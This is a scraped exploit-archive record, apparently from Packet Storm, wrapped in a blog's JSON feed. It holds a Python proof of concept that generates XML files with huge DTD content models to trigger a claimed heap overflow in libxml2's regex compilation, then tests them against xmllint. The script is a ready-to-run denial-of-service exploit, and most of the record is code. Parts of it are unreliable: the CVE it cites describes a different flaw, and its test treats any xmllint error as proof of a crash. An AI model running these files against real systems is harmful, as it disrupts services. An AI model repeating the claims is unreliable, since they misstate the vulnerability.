{“lastseen”:”2025-12-02T19:40:53″,”description”:”libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:212322″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-25062″],”sourceData”:”=============================================================================================================================================\\n | # Title : libxml2 2.9.14 (2022) heap buffer overflow |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/gitlab.gnome.org\/GNOME\/libxml2 |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/207181\/ \\u0026 CVE-2024-25062\\n \\n [+] Summary : \\n \\n A heap buffer overflow vulnerability was identified in libxml2, specifically within the function xmlRegEpxFromParse in xmlregexp.c. \\n \\t\\t\\t The flaw results from a 32\u2011bit integer overflow during index calculation in the regular\u2011expression compilation phase used for DTD validation. \\n \\t\\t\\t This overflow causes out\u2011of\u2011bounds read and write operations on the transitions table, potentially leading to memory corruption or application crashes when processing specially crafted XML content models.\\n The issue is confirmed in libxml2 version 2.9.14 (2022) and remains present in the latest development version \\n \\t\\t\\t (HEAD: 4d69f91b25bae1e276bb38a0d91a54bade9e5e72) prior to the security fix. The vulnerability affects all platforms where libxml2 is deployed, including Linux, macOS, Windows, BSD, and embedded systems.\\n \\t\\t\\t \\n [+] POC :\\n \\n Python PoC for Generating Malicious XML :\\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n CVE-2024-25062: libxml2 Heap Buffer Overflow PoC\\n Integer overflow in xmlRegEpxFromParse function\\n By indoushka\\n \\”\\”\\”\\n \\n import sys\\n import os\\n import subprocess\\n \\n def generate_malicious_xml():\\n \\”\\”\\”\\n Generate XML file with specially crafted DTD to trigger the vulnerability\\n \\”\\”\\”\\n # Magic number to trigger integer overflow\\n NUM_ELEMENTS = 46341\\n \\n print(f\\”[+] Generating malicious XML with {NUM_ELEMENTS} elements…\\”)\\n \\n # Create element names\\n element_names = [f\\”a{i}\\” for i in range(NUM_ELEMENTS)]\\n \\n # Content model – very long sequence\\n content_model = \\”,\\”.join(element_names)\\n \\n # Element declarations\\n element_decls = \\”\\\\n\\”.join(f\\” \\u003c!ELEMENT {name} EMPTY\\u003e\\” for name in element_names)\\n \\n # Complete XML content\\n xml_content = f”’\\u003c?xml version=\\”1.0\\” encoding=\\”UTF-8\\”?\\u003e\\n \\u003c!DOCTYPE root [\\n \\u003c!ELEMENT root ({content_model})\\u003e\\n {element_decls}\\n ]\\u003e\\n \\u003croot\\u003e\\n {‘ ‘.join(f’\\u003c{name}\/\\u003e’ for name in element_names[:100])}\\n \\u003c\/root\\u003e\\n ”’\\n \\n return xml_content\\n \\n def generate_optimized_poc():\\n \\”\\”\\”\\n Optimized PoC version using fewer elements while maintaining the effect\\n \\”\\”\\”\\n # Try different sizes to find minimum required\\n test_sizes = [46341, 40000, 32768, 30000]\\n \\n for size in test_sizes:\\n print(f\\”[+] Testing with {size} elements…\\”)\\n \\n element_names = [f\\”el{i}\\” for i in range(size)]\\n content_model = \\”,\\”.join(element_names)\\n \\n xml_content = f”’\\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003c!DOCTYPE doc [\\n \\u003c!ELEMENT doc ({content_model})\\u003e\\n {\\”\\”.join(f’\\u003c!ELEMENT el{i} EMPTY\\u003e’ for i in range(size))}\\n ]\\u003e\\n \\u003cdoc\/\\u003e\\n ”’\\n \\n filename = f\\”poc_{size}.xml\\”\\n with open(filename, \\”w\\”) as f:\\n f.write(xml_content)\\n print(f\\”[+] Created: {filename}\\”)\\n \\n def create_simple_poc():\\n \\”\\”\\”\\n Create simplified PoC for quick testing\\n \\”\\”\\”\\n NUM_ELEMENTS = 46341\\n \\n element_names = [f\\”x{i}\\” for i in range(NUM_ELEMENTS)]\\n content_model = \\”,\\”.join(element_names[:NUM_ELEMENTS])\\n \\n xml_content = f”’\\u003c!DOCTYPE root [\\n \\u003c!ELEMENT root ({content_model})\\u003e\\n {\\”\\”.join(f’\\u003c!ELEMENT x{i} EMPTY\\u003e’ for i in range(NUM_ELEMENTS))}\\n ]\\u003e\\n \\u003croot\/\\u003e\\n ”’\\n \\n with open(\\”simple_poc.xml\\”, \\”w\\”) as f:\\n f.write(xml_content)\\n print(\\”[+] Created: simple_poc.xml\\”)\\n \\n def test_with_xmllint():\\n \\”\\”\\”\\n Automatically test the generated PoC with xmllint\\n \\”\\”\\”\\n print(\\”[+] Testing with xmllint…\\”)\\n \\n # Generate the malicious XML\\n xml_content = generate_malicious_xml()\\n with open(\\”test_crash.xml\\”, \\”w\\”) as f:\\n f.write(xml_content)\\n \\n # Try to find xmllint\\n xmllint_paths = [\\n \\”.\/libxml2\/.libs\/xmllint\\”,\\n \\”\/usr\/bin\/xmllint\\”,\\n \\”xmllint\\”\\n ]\\n \\n xmllint = None\\n for path in xmllint_paths:\\n if os.path.exists(path) or subprocess.run([\\”which\\”, path.split(‘\/’)[-1]], capture_output=True).returncode == 0:\\n xmllint = path\\n break\\n \\n if not xmllint:\\n print(\\”[-] xmllint not found\\”)\\n return\\n \\n print(f\\”[+] Using xmllint at: {xmllint}\\”)\\n \\n # Run the test\\n try:\\n result = subprocess.run(\\n [xmllint, \\”–valid\\”, \\”test_crash.xml\\”],\\n capture_output=True,\\n text=True,\\n timeout=10\\n )\\n \\n if result.returncode != 0:\\n print(\\”[+] SUCCESS: xmllint crashed or returned error (vulnerable)\\”)\\n print(f\\” Return code: {result.returncode}\\”)\\n if result.stderr:\\n print(f\\” Error: {result.stderr[:200]}…\\”)\\n else:\\n print(\\”[-] UNEXPECTED: xmllint processed file without crash\\”)\\n \\n except subprocess.TimeoutExpired:\\n print(\\”[+] SUCCESS: xmllint timed out (possibly vulnerable)\\”)\\n except Exception as e:\\n print(f\\”[+] Exception during testing: {e}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”=\\” * 60)\\n print(\\”libxml2 Heap Buffer Overflow PoC – CVE-2024-25062\\”)\\n print(\\”Integer overflow in xmlRegEpxFromParse\\”)\\n \\tprint(\\”By indoushka\\”)\\n print(\\”=\\” * 60)\\n \\n if len(sys.argv) \\u003e 1:\\n if sys.argv[1] == \\”simple\\”:\\n create_simple_poc()\\n elif sys.argv[1] == \\”optimized\\”:\\n generate_optimized_poc()\\n elif sys.argv[1] == \\”test\\”:\\n test_with_xmllint()\\n else:\\n # Create single file\\n xml_content = generate_malicious_xml()\\n with open(\\”malicious.xml\\”, \\”w\\”) as f:\\n f.write(xml_content)\\n print(\\”[+] Created: malicious.xml\\”)\\n else:\\n # Default: create all test files\\n generate_optimized_poc()\\n \\n print(\\”\\\\n[+] Usage instructions:\\”)\\n print(\\” python3 poc.py optimized # Generate test files\\”)\\n print(\\” python3 poc.py test # Auto-test with xmllint\\”)\\n print(\\” xmllint –valid poc_46341.xml\\”)\\n print(\\” OR\\”)\\n print(\\” python3 poc.py | xmllint –valid -\\”)\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212322″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212322\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-02T19:40:53″,”description”:”libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:212322″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-25062″],”sourceData”:”=============================================================================================================================================\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-28304","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n